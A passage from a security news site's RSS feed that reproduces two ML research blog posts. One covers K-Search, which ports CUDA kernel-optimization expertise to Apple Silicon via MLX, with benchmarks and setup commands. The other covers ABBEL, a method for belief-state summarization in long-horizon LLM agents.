<content:encoded><![CDATA[For as long as we’ve taught programming, the student’s code has provided a window into the students’ thinking. Errors, the code structure, the awkward working solution—all of it showed how someone reasoned and where they got stuck. It was never a clean window. Students have always copied, crammed, and borrowed, sometimes turning in work they […]]]></content:encoded>
</item>
<item>
<title><![CDATA[From CUDA to MLX: How K-Search Brings Decades of Kernel Expertise to Apple Silicon]]></title>
<description><![CDATA[Figure 1: CUDA-to-MLX optimization translation map. CUDA optimization knowledge can be translated into architecture-native MLX strategies rather than copied instruction-for-instruction.

We face a new epoch in computing. Hardware is changing rapidly — not just faster GPUs, but a growing range of ...]]></description>
<link>https://tsecurity.de/de/3699701/ai-nachrichten/from-cuda-to-mlx-how-k-search-brings-decades-of-kernel-expertise-to-apple-silicon/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699701/ai-nachrichten/from-cuda-to-mlx-how-k-search-brings-decades-of-kernel-expertise-to-apple-silicon/</guid>
<pubDate>Mon, 03 Aug 2026 00:16:37 +0200</pubDate>
<content:encoded><![CDATA[<!-- twitter -->












<p class="center">
<img src="https://bair.berkeley.edu/static/blog/cuda-to-mlx-k-search/cover.svg" alt="Kernel knowledge transfer from CUDA to MLX"><br>
</p>

<p class="cuda-mlx-fig-caption"><strong>Figure 1: CUDA-to-MLX optimization translation map.</strong> CUDA optimization knowledge can be translated into architecture-native MLX strategies rather than copied instruction-for-instruction.</p>

<p>We face a new epoch in computing. Hardware is changing rapidly — not just faster GPUs, but a growing range of chips from different vendors, each with its own architecture and often tailored to specific AI workloads. Software is changing just as fast, and AI coding tools now generate in minutes what took months of effort a few years ago.</p>

<!--more-->

<p>With so much of computing now centered on AI, GPU kernels are a crucial component of its success. These are the low-level programs that run inside the GPU, and writing efficient ones is far from obvious — it takes years of expertise to get right. Transferring a kernel from one vendor’s hardware to another is harder still, and often means rediscovering the same optimizations from scratch. The CUDA ecosystem, for example, has accumulated decades of hard-won kernel expertise: hand-tuned implementations of attention, state space models, and other critical operations representing thousands of engineering hours. Newer hardware ecosystems (Apple Silicon, custom AI accelerators, and others) are growing fast but lack this depth.</p>

<p>In this work we ask whether that expertise can be transferred automatically. We built on <a href="https://arxiv.org/abs/2602.19128">K-Search</a>, an evolutionary kernel search framework introduced by Cao et al. at Berkeley Sky Lab that uses AI to optimize GPU kernels, and extended it with a backend for MLX — Apple’s machine-learning framework for its own Apple Silicon chips. We developed a novel structured CUDA-to-MLX translation layer that lets K-Search take existing CUDA kernels as a knowledge base and adapt them into high-quality GPU kernels for Apple Silicon, rather than rebuilding from scratch.</p>

<p>We show that our approach reaches near-expert level performance on Apple Silicon with 0.97x speedup compared to the native MLX Attention kernel, and up to a 20x prefill speedup over the community mlx-lm implementation on the Mamba SSM kernel; we report the numbers, and how much of the gain comes from the translation layer, in the sections below. Although we focus on MLX kernels for Apple Silicon, the method is not specific to MLX and applies to any ecosystem where CUDA expertise is transferable.</p>

<h2>Why MLX?</h2>

<p>Apple’s MLX framework has seen remarkable adoption since late 2023. With Apple Silicon in hundreds of millions of MacBooks and Mac Studios, MLX enables local AI inference without cloud costs. The unified memory architecture makes it especially attractive for mid-sized models (7B–70B parameters on M series chips).</p>

<p>Yet beneath this momentum lies a significant gap: many performance-critical kernels that the NVIDIA ecosystem takes for granted: paged attention, optimized SSM scan kernels, fused MoE routing are either absent or naive without hardware-specific tuning. MLX runs models correctly but often leaves significant performance on the table.</p>

<p>This gap is what motivates the rest of this post.</p>

<h2>What is K-Search?</h2>

<p>K-Search is an evolutionary kernel optimization framework originally developed by our first author Shiyi Cao at UC Berkeley Sky Lab. Given a naive kernel and a hardware specification, it runs an iterative optimization loop: an LLM reasons about which optimizations to try next, a code-writing model generates candidate kernels, and those candidates are compiled and benchmarked on real hardware.</p>

<p>Measurements feed back into the search, which keeps refining, pursuing promising directions and dropping dead ends until performance converges.</p>

<p class="center">
<img src="https://bair.berkeley.edu/static/blog/cuda-to-mlx-k-search/algorithm-01-k-search.svg" alt="Pseudocode for K-Search via co-evolving world models" width="460"><br>
</p>

<p class="cuda-mlx-fig-caption"><strong>Algorithm 1: K-Search via co-evolving world models.</strong> The search alternates between selecting the most promising action, instantiating and evaluating code until improvement stagnates, and evolving the world model through insert, update, and prune operations. Adapted from <a href="https://arxiv.org/abs/2602.19128">Cao et al. (2026)</a>.</p>

<p>Search is grounded by a Spec: a domain-specific document encoding hardware rules, optimization patterns, and mathematical constraints which keeps generated code from hallucinating invalid primitives and ensures candidates will actually compile and run efficiently.</p>

<p>In our runs, a single model (Gemini 3.5 Pro Preview) plays both roles: it maintains the reasoning state and writes the kernels. The reasoning half is prompted as a “GPU kernel performance engineer” and asked to work through a fixed analysis before proposing anything: classify the kernel (reduction, scan, attention/softmax, …), rewrite the reference computation in canonical form, map out data layout and access patterns, and hypothesize the likely bottleneck (bandwidth, latency, compute, or synchronization) in each runtime regime. Only then does it emit candidate optimizations, each as a single change implementable in one iteration.</p>

<p>We call the persistent reasoning state a <em>world model</em>. Rather than a flat list of things to try, it is a decision (prefix) tree: each root→leaf path composes a full optimization plan, and sibling branches are competing alternatives. Every node is scored — an <code class="language-plaintext highlighter-rouge">overall_rating</code> in [0, 10], a <code class="language-plaintext highlighter-rouge">confidence</code> in [0, 1], and per-node <code class="language-plaintext highlighter-rouge">impacts</code> on memory bandwidth, register pressure, and compute/hardware fit — so the search can rank partial plans and expand the most promising ones. The tree persists and grows across rounds: refining an idea adds a child node rather than overwriting its parent, and if the best score fails to improve for a few rounds (a stagnation window) the search backs off to explore an alternative branch. A single node, as it appears mid-run on the attention kernel, looks like this:</p>

<div class="post-code-compact">

  <div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"action"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Replace the threadgroup-memory softmax reduction
             with a register-only reduction: each SIMD group
             owns 8 query rows and reduces across lanes with
             simd_shuffle_xor, removing a threadgroup_barrier."</span><span class="p">,</span><span class="w">
  </span><span class="nl">"difficulty_1_to_5"</span><span class="p">:</span><span class="w"> </span><span class="mi">4</span><span class="p">,</span><span class="w">
  </span><span class="nl">"impacts"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"memory_bandwidth"</span><span class="p">:</span><span class="w">  </span><span class="mi">8</span><span class="p">,</span><span class="w">
    </span><span class="nl">"register_pressure"</span><span class="p">:</span><span class="w"> </span><span class="mi">4</span><span class="p">,</span><span class="w">   </span><span class="err">//</span><span class="w"> </span><span class="err">risk:</span><span class="w"> </span><span class="err">spill</span><span class="w"> </span><span class="err">if</span><span class="w"> </span><span class="err">Br</span><span class="w"> </span><span class="err">&gt;</span><span class="w"> </span><span class="mi">8</span><span class="w">
    </span><span class="nl">"compute_hw_fit"</span><span class="p">:</span><span class="w">    </span><span class="mi">9</span><span class="w">    </span><span class="err">//</span><span class="w"> </span><span class="err">SIMD</span><span class="w"> </span><span class="err">width</span><span class="w"> </span><span class="mi">32</span><span class="err">;</span><span class="w"> </span><span class="err">keep</span><span class="w"> </span><span class="err">tile</span><span class="w"> </span><span class="mi">8</span><span class="err">x</span><span class="mi">8</span><span class="w">
  </span><span class="p">},</span><span class="w">
  </span><span class="nl">"overall_rating_0_to_10"</span><span class="p">:</span><span class="w"> </span><span class="mi">8</span><span class="p">,</span><span class="w">
  </span><span class="nl">"confidence_0_to_1"</span><span class="p">:</span><span class="w"> </span><span class="mf">0.7</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div>  </div>

</div>

<p class="cuda-mlx-fig-caption"><strong>Listing 1: Example K-Search world-model node.</strong> Each candidate optimization records a concrete action, estimated hardware impacts, an overall priority rating, and the model's confidence.</p>

<p class="center">
<img src="https://bair.berkeley.edu/static/blog/cuda-to-mlx-k-search/best-figure-01-ksearch-loop.svg" alt="Overview of the K-Search loop" width="700"><br>
</p>

<p class="cuda-mlx-fig-caption"><strong>Figure 2: Overview of K-Search.</strong> The framework operates on a <strong>Search State</strong> $S_t$ structured as a search tree. The tree consists of Closed nodes (blue, visited states with attached program like $x_{12}$) and a Frontier of Open nodes (orange, pending hypotheses like $u_{13}$). The workflow iterates through three phases: (1) <strong>Action Selection</strong>, where the most promising action node is retrieved from the frontier based on world model estimated priority score $V$; (2) <strong>Local Refinement</strong>, where a stochastic policy $\pi_{\mathrm{code}}$ samples concrete implementations until stagnation; and (3) <strong>World Model Update</strong>, where the LLM reasons over the trajectory to update the search tree via <em>Insert</em> (adding new actions), <em>Update</em> (adjusting $V$, e.g., $u_{11}$ dropping from 0.9 to 0.6), and <em>Prune</em> (removing less promising nodes like $u_{10}$).</p>

<p>The original K-Search paper evaluated this search strategy on CUDA kernels from FlashInfer. Across GQA decode, MLA decode, MLA prefill, and MoE, K-Search improved more consistently than OpenEvolve and ShinkaEvolve over the same 120-iteration budget. These results establish the search framework we build on here; the remainder of this post asks whether its optimization knowledge can transfer beyond CUDA.</p>

<p class="center">
<img src="https://bair.berkeley.edu/static/blog/cuda-to-mlx-k-search/best-figure-03-ksearch-main-results.svg" alt="K-Search benchmark results compared with OpenEvolve and ShinkaEvolve" width="900"><br>
</p>

<p class="cuda-mlx-fig-caption"><strong>Figure 3: Main results from the original K-Search paper.</strong> Across three runs, K-Search achieves stronger best-so-far search scores, per-workload kernel performance, and speedup distributions than OpenEvolve and ShinkaEvolve on four FlashInfer CUDA kernels. Reproduced exactly from <a href="https://arxiv.org/abs/2602.19128">Cao et al. (2026)</a>.</p>

<h2>Building an MLX backend</h2>

<p>To bring K-Search to Apple Silicon, we first built a native MLX backend. We implemented a full MLX-specific task adapter for K-Search, including:</p>

<ul>
  <li>An MLX task backend in <code class="language-plaintext highlighter-rouge">k_search/tasks/</code> handling kernel compilation and execution on Apple Silicon via MLX’s Metal/C++ APIs.</li>
  <li>Updated kernel generator prompts for writing and modifying Metal/MLX kernels.</li>
  <li>MLX-specific benchmarking integration using <code class="language-plaintext highlighter-rouge">mlx.core</code> measurement utilities.</li>
</ul>

<h2>Translating CUDA expertise to MLX</h2>

<p>However, the more interesting challenge was not simply running K-Search on MLX. The key insight is that expert CUDA kernels encode decades of optimization knowledge that is transferable to Apple GPU if you can bridge the conceptual gap. Simply handing an LLM a CUDA kernel and asking it to port it is not enough: without deep hardware context, it produces code that is syntactically valid but architecturally wrong (wrong tile sizes, invalid primitives, mismatched memory assumptions).</p>

<p>Our translation layer consists of:</p>

<ul>
  <li><strong>Concept mapping tables:</strong> A structured glossary of CUDA primitives and their MLX/Metal equivalents with hard constraints. For example:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">__shared__</code> maps to Metal <code class="language-plaintext highlighter-rouge">threadgroup</code> memory but with a hard 32 KB limit (vs. NVIDIA’s 48 KB)</li>
      <li><code class="language-plaintext highlighter-rouge">warp_reduce</code> maps to MMA (preferred)</li>
      <li><code class="language-plaintext highlighter-rouge">__syncthreads()</code> becomes <code class="language-plaintext highlighter-rouge">threadgroup_barrier(mem_flags::mem_tg)</code></li>
      <li>H100’s ~3.35 TB/s HBM3 maps to M3 Max’s ~400 GB/s unified DRAM a bandwidth difference that reshapes which optimizations are worth pursuing.</li>
    </ul>
  </li>
  <li><strong>MLX-specific hints and patterns:</strong> Concrete code-level patterns for operations with no direct CUDA equivalent, such as register-based row reductions using <code class="language-plaintext highlighter-rouge">simd_shuffle_xor</code> in an 8×8 MMA tile layout, or the “exp2 trick” (replacing $exp(x)$ with $exp_2(x \log_2 e)$) for faster softmax on Apple’s fast $exp_2$ hardware instruction.</li>
  <li><strong>Reusable assertions:</strong> Expert kernel behaviors reframed as properties the evolutionary search must preserve, rather than code to copy.</li>
</ul>

<h2>Matching expert kernel performance: the Attention kernel</h2>

<p>We evaluate three configurations of an MLX attention kernel for Apple Silicon: (1) a naive baseline, (2) pure evolution with no additional provided context, and (3) a full context translation layer, which supplies the optimizer with architecture-specific implementation knowledge extracted from high-performance kernels (e.g., FlashAttention-2), letting the evolutionary search reason about implementation strategies rather than starting from a naive kernel. Together, these three configurations let us isolate the exact impact of the translation layer.</p>

<p class="center">
<img src="https://bair.berkeley.edu/static/blog/cuda-to-mlx-k-search/best-figure-02-attention-optimizations.svg" alt="Performance scaling of the Attention Kernel through stacked optimizations" width="700"><br>
</p>

<p class="cuda-mlx-fig-caption"><strong>Figure 4:</strong> Performance scaling of the Attention Kernel through stacked optimizations. The "Full Context" configuration successfully discovers and implements advanced strategies like double buffering and loop unrolling, achieving near-expert performance.</p>

<p>The jump from 0.26× to 0.97× the speed of Apple’s state-of-the-art attention kernel — illustrates how much the translation layer matters. With full context, the evolved kernel independently discovers the key optimizations in FlashAttention 2: threadgroup memory tiling, online softmax, K-transposition for memory access, and the exp2 trick. The last of these replaces every softmax exponential with a base-2 exponential,</p>

\[e^x = 2^{x \log_2 e},\]

<p>which is exact and lets the kernel use Apple’s fast <code class="language-plaintext highlighter-rouge">fast::exp2()</code> hardware instruction directly instead of paying for a base conversion at runtime.</p>

<h2>A 20× faster prefill: the Mamba SSM kernel</h2>

<p>To evaluate whether K-Search generalizes beyond attention kernels, we applied it to the state-space model (SSM) kernel used by Mamba. Unlike attention, the computational bottleneck is a recurrent state update rather than a softmax, providing a substantially different optimization challenge. We compare the evolved implementation against the community MLX implementation (mlx-lm) and the PyTorch reference implementation (mamba.py) on an M1 Max.</p>

<p>Evaluated on mamba-370m f16, M1 Max 64GB:</p>

<div class="cuda-mlx-results-table">

  <table>
    <thead>
      <tr>
        <th>Metric</th>
        <th>mlx-mamba (ours)</th>
        <th>mlx-lm (community)</th>
        <th>mamba.py</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>Decode</td>
        <td>152 tok/s</td>
        <td>116 tok/s</td>
        <td>40 tok/s</td>
      </tr>
      <tr>
        <td>Prefill L=512</td>
        <td>5,751 tok/s</td>
        <td>329 tok/s</td>
        <td>1,089 tok/s</td>
      </tr>
      <tr>
        <td>Prefill L=1024</td>
        <td>6,010 tok/s</td>
        <td>327 tok/s</td>
        <td>1,127 tok/s</td>
      </tr>
      <tr>
        <td>Prefill L=2048</td>
        <td>6,612 tok/s</td>
        <td>326 tok/s</td>
        <td>1,092 tok/s</td>
      </tr>
      <tr>
        <td>Prefill L=4096</td>
        <td>6,743 tok/s</td>
        <td>339 tok/s</td>
        <td>1,042 tok/s</td>
      </tr>
    </tbody>
  </table>

</div>

<p class="cuda-mlx-fig-caption"><strong>Table 1:</strong> Prefill and decode throughput on mamba-370m (f16, M1 Max 64GB). mlx-mamba (ours) reaches ~20× higher prefill throughput than the community mlx-lm baseline, while decode remains comparable.</p>

<p>The ~20× prefill speedup over mlx-lm comes down to one difference: mlx-lm does not implement a parallel scan for the SSM. The state recurrence</p>

\[h_t = \bar{a}_t h_{t-1} + \bar{b}_t\]

<p>looks inherently sequential, but each step can be written as a pair $(\bar{a}_t, \bar{b}_t)$ under the associative combine</p>

\[(a_2, b_2) \circ (a_1, b_1) = \left(a_2 a_1,\ a_2 b_1 + b_2\right),\]

<p>which reproduces the recurrence exactly. Because the operator is associative, the whole sequence can be evaluated with a parallel (prefix) scan in $O(\log N)$ dependent steps instead of $O(N)$. mlx-lm skips this and processes tokens one at a time, leaving most of Apple Silicon’s compute idle; our evolved Metal kernel applies the scan and makes much fuller use of GPU throughput. The gain shows up in prefill, where the full sequence is available to scan in parallel, and not in single-token decode, where there is only one new token per step and no scan to parallelize — which is why the decode row is roughly flat while prefill is ~20×.</p>

<p>mamba.py is slow on both prefill and decode because it is a PyTorch reference implementation that falls back to CPU or MPS on Apple Silicon, forgoing the hardware-specific optimizations that MLX’s Metal backend makes possible.</p>

<h2>What’s next?</h2>

<p>On the two kernels we studied, AI-driven evolutionary kernel search grounded in structured cross-platform translation knowledge reached near-expert performance on Apple Silicon without a team of GPU experts starting from scratch. We do not yet know how far this generalizes, but the result is encouraging.</p>

<p>For us the main takeaway is that the bottleneck was not the LLM’s ability to write Metal code, but the quality of the context and constraints we gave it. Our CUDA translation layer converts existing NVIDIA kernel expertise into actionable guidance for Apple Silicon, and lets K-Search’s evolutionary search do the rest.</p>

<p>We are actively extending this work in several directions: supporting new architectures, with current efforts focused on developing new kernels for the IBM Spyre AIU and broader hardware targets; adding more kernels such as paged attention and fused MoE routing; and improving integration with the K-Search evolution loop to make translation context even more automatic.</p>

<h2>Acknowledgements</h2>

<p>This work was carried out by IBM Research and builds on K-Search from the UC Berkeley Sky Lab (<a href="https://arxiv.org/abs/2602.19128">Cao et al., 2026</a>). We welcome collaboration and feedback from the MLX and broader AI systems communities. If you are working on kernel optimization for non-CUDA hardware, we would love to hear from you.</p>

<hr>

<h2>Citation</h2>

<div class="language-bibtex highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">@article</span><span class="p">{</span><span class="nl">cao2026k</span><span class="p">,</span>
  <span class="na">title</span><span class="p">=</span><span class="s">{K-Search: LLM Kernel Generation via Co-Evolving Intrinsic World Model}</span><span class="p">,</span>
  <span class="na">author</span><span class="p">=</span><span class="s">{Cao, Shiyi and Mao, Ziming and Gonzalez, Joseph E and Stoica, Ion}</span><span class="p">,</span>
  <span class="na">journal</span><span class="p">=</span><span class="s">{arXiv preprint arXiv:2602.19128}</span><span class="p">,</span>
  <span class="na">year</span><span class="p">=</span><span class="s">{2026}</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="post-appendix">

  <h2>Appendix: Try it yourself</h2>

  <p>The MLX backend is built on top of the open-source K-Search repo, so the results here can be reproduced directly. The steps are:</p>

  <p>1. Clone and install</p>

  <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git clone https://github.com/caoshiyi/K-Search.git
<span class="nb">cd </span>K-Search

uv pip <span class="nb">install </span>openai wandb
uv pip <span class="nb">install </span>git+https://github.com/caoshiyi/flashinfer-bench-ksearch.git
</code></pre></div>  </div>

  <p>2. Set your credentials</p>

  <p>Open the relevant script under scripts/ and set three variables at the top:</p>

  <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">KSEARCH_ROOT</span><span class="o">=</span>/path/to/K-Search
<span class="nv">API_KEY</span><span class="o">=</span>your-llm-api-key
</code></pre></div>  </div>

  <p>3. Run kernel search</p>

  <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Optimize Flash Attention on Apple Silicon (world-model mode)</span>
bash scripts/mac_flash_attention_wm.sh

<span class="c"># Or a Mamba SSM kernel, e.g. the selective scan</span>
bash scripts/mamba_selective_scan_fwd_wm.sh
</code></pre></div>  </div>

  <p>Full CLI reference and documentation are in the README.</p>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Teaching LLMs to Update Beliefs for Efficient Long-Horizon Interaction]]></title>
<description><![CDATA[Overview of ABBEL compared to traditional recursive summarization. Beliefs replace the full interaction history as the agent’s working context, and belief grading improves performance by
supervising the contents of each belief state..


As task horizons grow, LLM contexts can’t scale forever. Sel...]]></description>
<link>https://tsecurity.de/de/3699702/ai-nachrichten/teaching-llms-to-update-beliefs-for-efficient-long-horizon-interaction/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699702/ai-nachrichten/teaching-llms-to-update-beliefs-for-efficient-long-horizon-interaction/</guid>
<pubDate>Mon, 03 Aug 2026 00:16:37 +0200</pubDate>
<content:encoded><![CDATA[<!-- twitter -->














<p class="abbel-fig abbel-fig--wide abbel-fig--tight">
<img src="https://bair.berkeley.edu/static/blog/abbel/ABBEL%20main%20figure.png" alt="ABBEL overview">
<i class="abbel-fig-cap">Overview of ABBEL compared to traditional recursive summarization. Beliefs replace the full interaction history as the agent’s working context, and belief grading improves performance by
supervising the contents of each belief state..</i>
</p>

<p>As task horizons grow, LLM contexts can’t scale forever. Self-summarization enables concise, interpretable contexts, but at a significant performance cost, especially for human assistance domains where high quality data is scarce, e.g., collaborative code generation. We address this with <a href="https://arxiv.org/abs/2512.20111">ABBEL</a>: a framework that isolates and supervises the information content of summaries in the form of natural-language belief states.
<!--more--></p>

<h2>Motivation: the cost of recursive summarization</h2>

<p>For language models to effectively assist with increasingly complex tasks such as software development, they must be able to interact with us over hundreds or even thousands of steps. For such long tasks, it is impractical to keep the history of the entire interaction in context. The heuristic approach used so far has been summary generation, sometimes called context compaction. For example, Cursor’s latest model composer 2.5 uses compaction during training for improved performance (<a href="https://cursor.com/blog/self-summarization">Cassano et al., 2026</a>). Alongside composer, Grandcode (<a href="https://arxiv.org/abs/2604.02721">DeepReinforce et al., 2026</a>), the first system to consistently beat all human competitors in online coding competitions, despite using one of the newest efficient attention models (Qwen 3.5-397B),<sup><a href="http://bair.berkeley.edu/blog/2026/07/26/abbel/#fn:efficientattn" class="footnote">1</a></sup> still found it necessary to employ context summarization.</p>

<p>But compaction has a problem. Despite seemingly low performance gaps in benchmarks, model servers like Cursor continue to recommend that users avoid compaction with their coding assistants in the middle of a task (<a href="https://cursor.com/blog/continually-improving-agent-harness">Heule et al., 2026</a>).</p>

<p>To understand why, see below the performance over RL fine-tuning of a Context summary model compared to full context models in Combination Lock, a Wordle-like game that allows up to 16 guesses.<sup><a href="http://bair.berkeley.edu/blog/2026/07/26/abbel/#fn:wordlehard" class="footnote">2</a></sup> Though both model types improve over the course of training, the summary model never closes the gap.</p>

<p class="abbel-fig abbel-fig--chart-sm">
<img src="https://bair.berkeley.edu/static/blog/abbel/Average%20attempts%20to%20guess%20target%20word%20context%20summaries.png" alt="Average attempts to guess target word with context summary vs full context policies over training">
<i class="abbel-fig-cap">Fig. 1: Average attempts to guess the target word on Combination Lock over RL fine-tuning (lower is better). Context-summary policies improve with training but do not close the gap to full-context policies.</i>
</p>

<p>Making models self-summarize while completing a task increases the complexity of the learning problem. While this could typically be addressed by training with more data, the performance degradation observed in real world interactive settings likely arises from the difficulty we have in creating and using human simulators effectively to generate high quality training environments (<a href="https://jessylin.com/2025/07/10/user-simulators-1/">Lin et al., 2025</a>, <a href="https://nickatomlin.github.io/blog/user-simulators-2.html">Tomlin et al., 2025</a>). Thus, the better you can learn to summarize on the limited and messy multiturn interaction trajectories you can collect, the better off your model will be for downstream users.</p>

<h2>ABBEL: acting through belief bottlenecks</h2>

<p class="abbel-fig abbel-fig--wide-90">
<img src="https://bair.berkeley.edu/static/blog/abbel/ABBEL%20belief%20grading%20diagram.png" alt="ABBEL belief grading diagram">
<i class="abbel-fig-cap">Fig. 2: Autoencoder-inspired belief grading. The model encodes prior belief, action and observation (b<sub>t</sub>, a<sub>t</sub>, o<sub>t</sub>) into posterior belief b<sub>t+1</sub> and is rewarded for how well select information from the history can be reconstructed from that belief.</i>
</p>

<p>To address poor learning efficiency, we isolate the summary generation task. Drawing inspiration from recursive Bayesian estimation, we formulate summaries as belief states, which we periodically prompt the model to update based on new information.<sup><a href="http://bair.berkeley.edu/blog/2026/07/26/abbel/#fn:videoabbelslow" class="footnote">3</a></sup></p>

<div class="abbel-fig abbel-fig--video">
  <div class="abbel-frames is-playing" data-frame-count="16" data-frame-prefix="https://bair.berkeley.edu/static/blog/abbel/frames/frame_" data-interval="1300">
    <div class="abbel-frames__stage" role="button" tabindex="0" aria-label="Pause or advance ABBEL overview frame">
      <img src="https://bair.berkeley.edu/static/blog/abbel/frames/frame_00.png" alt="ABBEL overview animation frame">
      <!-- <span class="abbel-frames__hint">Click to pause</span> -->
    </div>
    <div class="abbel-frames__controls">
      <button type="button" class="abbel-frames__prev" aria-label="Previous frame">‹ Prev</button>
      <button type="button" aria-pressed="true" aria-label="Play or pause animation">Pause</button>
      <button type="button" class="abbel-frames__next" aria-label="Next frame">Next ›</button>
      <span class="abbel-frames__meta">1 / 16</span>
    </div>
    <div class="abbel-frames__dots" aria-hidden="true"></div>
  </div>
  <i class="abbel-fig-cap">Fig. 3: ABBEL rollout. Belief updates from the latest observation alternate with action selection conditioned only on the current posterior belief.</i>
</div>

<h3>Belief grading</h3>

<p>We then extract and supervise the contents of the belief states (Fig. 2, Belief Grading). Belief grading can be thought of as adding an auxiliary RL task, using heuristics designed to capture what makes a good belief as the reward. An example heuristic for coding could be shorter is better, but closer to being able to reconstruct the git diff is also better, so balancing these would yield a good belief. In domains where good heuristics are hard to define, we propose a general autoencoding-inspired grading function, which treats the current language model π<sub>θ</sub> as both encoder and decoder of information from
the history, and the belief states as the codes. We grade each belief b<sub>t+1</sub> by how well it can be used by the current model π<sub>θ</sub> to reconstruct the most recent observation o<sub>t</sub>:</p>

<p class="abbel-fig abbel-fig--equation">
<img src="https://bair.berkeley.edu/static/blog/abbel/Belief%20grading%20equation.png" alt="Eq. 1: Reconstruction grading objective">
<i class="abbel-fig-cap">Eq. 1: Reconstruction grading objective. Here b<sub>t+1</sub> is the updated belief, o<sub>t</sub> the latest observation, a<sub>t</sub> the action just taken, b<sub>t</sub> the prior belief, p<sub>I</sub> the task prompt, and π<sub>θ</sub> the current model. Higher grades reward beliefs that retain information needed to decode the latest observation.</i>
</p>

<h2>What do we gain by grading beliefs?</h2>

<h3>Collaborative coding on CollabBench</h3>

<p>We demonstrate the utility of belief grading in our motivating domain of human-driven assistive coding, with the CollabBench environment from Sweet-RL (<a href="https://arxiv.org/pdf/2503.15478">Zhou et al., 2025</a>).</p>

<p class="abbel-fig abbel-fig--portrait">
<img src="https://bair.berkeley.edu/static/blog/abbel/Collabbench.png" alt="CollabBench collaborative coding environment">
<i class="abbel-fig-cap">Fig. 4: CollabBench collaborative coding environment. The agent asks clarifying questions, then submits a function scored against hidden unit tests.</i>
</p>

<p>We see that with the general reconstruction-based belief grading function we reduce the performance gap from full context models by about 50%, and train in 50% fewer steps compared to training models to summarize without belief grading (no BG). After training, ABBEL still uses significantly less memory than the full context setting, as measured by the peak context token length (Peak Tokens).</p>

<div class="abbel-fig abbel-fig--table">
<div class="abbel-table-wrap">
<table class="abbel-table">
  <thead>
    <tr>
      <th>Model</th>
      <th>Test Pass Rate ↑</th>
      <th>Success Rate ↑</th>
      <th>Peak Tokens × 10² ↓</th>
      <th>Training Steps ↓</th>
    </tr>
  </thead>
  <tbody>
    <tr class="abbel-baseline">
      <td>Full Context</td>
      <td>0.52±0.02</td>
      <td>0.39±0.02</td>
      <td>14.08±0.55</td>
      <td>100</td>
    </tr>
    <tr>
      <td>ABBEL (no BG)</td>
      <td>0.46±0.02</td>
      <td>0.31±0.02</td>
      <td>4.20±0.37</td>
      <td>100</td>
    </tr>
    <tr>
      <td>ABBEL-rec-BG</td>
      <td>0.48±0.01</td>
      <td>0.36±0.01</td>
      <td>6.01±0.33</td>
      <td>50</td>
    </tr>
  </tbody>
</table>
</div>
<i class="abbel-fig-cap">Fig. 5: CollabBench results. With reconstruction belief grading, ABBEL-rec-BG recovers about half the gap to full context while using fewer peak tokens, and trains in 50 steps instead of 100.</i>
</div>

<h3>Combination Lock</h3>

<p>Additionally, in CombinationLock, we demonstrate that ABBEL with a belief grader which leverages domain knowledge (by computing useful statistics over the history and checking that they can be reconstructed from the belief state), enables even higher learning efficiency than full context (FULL CTX) models.</p>

<p class="abbel-fig abbel-fig--chart-sm">
<img src="https://bair.berkeley.edu/static/blog/abbel/Average%20Attempts%20to%20guess%20target%20word%20ABBEL.png" alt="Average Attempts to guess target word ABBEL">
<i class="abbel-fig-cap">Fig. 6: Average attempts to guess the target word on Combination Lock (lower is better). With domain-knowledge belief grading, ABBEL approaches or exceeds FULL CTX in this setting; without belief grading, learning is slower.</i>
</p>

<h3>Multi-objective question answering</h3>

<p>In a third environment, multi-objective question answering (from MEM1 <a href="https://arxiv.org/pdf/2512.24601">Zhang et al., 2025</a>, a recent work which performed end-to-end optimization in a modified version of typical recursive summarization), we demonstrate the utility of isolating belief states from reasoning, by showing that a Peak Belief length Penalty (more details in paper) significantly reduces memory usage with minimal performance degradation, unlike is commonly observed when penalizing reasoning lengths (<a href="https://proceedings.neurips.cc/paper_files/paper/2025/file/579b5b84311e122584dedab1d3b7613f-Paper-Conference.pdf">Arora et al., 2025</a>).</p>

<p class="abbel-fig abbel-fig--wide-lg">
<img src="https://bair.berkeley.edu/static/blog/abbel/Performance%20and%20memory%20usage%20in%20multi%20QA.png" alt="Performance and memory usage in multi QA">
<i class="abbel-fig-cap">Fig. 7: Exact-match score and peak memory versus number of objectives in multi-objective QA. ABBEL with a peak belief penalty (PBP) maintains comparable performance while using less memory than MEM1 and ABBEL without PBP in this evaluation.</i>
</p>

<h2>Related work</h2>
<p>Alternative solutions to managing long contexts involve different tradeoffs, and are worth considering depending on the requirements of a deployed system. Context compression methods generate dense representations which, while computationally efficient, sacrifice human-understandability (<a href="https://arxiv.org/abs/2604.09852">Kontonis et al., 2026</a>, <a href="https://arxiv.org/pdf/2506.06266">Eyuboglu et al., 2025</a>, <a href="https://arxiv.org/pdf/2510.19732">Gupta et al., 2025</a>, <a href="https://arxiv.org/pdf/2305.14788">Chevalier et al., 2023</a>, <a href="https://aclanthology.org/2025.acl-long.241.pdf">Deng et al., 2025</a>, <a href="https://proceedings.neurips.cc/paper_files/paper/2025/file/1c93b738747776f9d3fdd077a5a07114-Paper-Conference.pdf">Deng et al., 2025</a>, <a href="https://arxiv.org/abs/2207.06881">Bulatov et al., 2022</a>). Hand-designed summarization prompts (<a href="https://arxiv.org/pdf/2407.16741">Wang et al., 2025</a>, <a href="https://github.com/aorwall/moatless-tools">Örwall et al., 2025</a>, <a href="https://arxiv.org/pdf/2504.01848">Starace et al., 2025</a>) and pruning strategies (<a href="https://arxiv.org/pdf/2310.06839">Jiang et al., 2024</a>) specific to target environments require expert human knowledge and don’t allow an agent to learn what to remember as part of its decision-making strategy. Methods that process long contexts into an external memory store (<a href="https://arxiv.org/pdf/2310.08560">Packer et al., 2023</a>, <a href="https://arxiv.org/pdf/2502.12110">Xu et al., 2025</a>) for the agents or subagents to query (<a 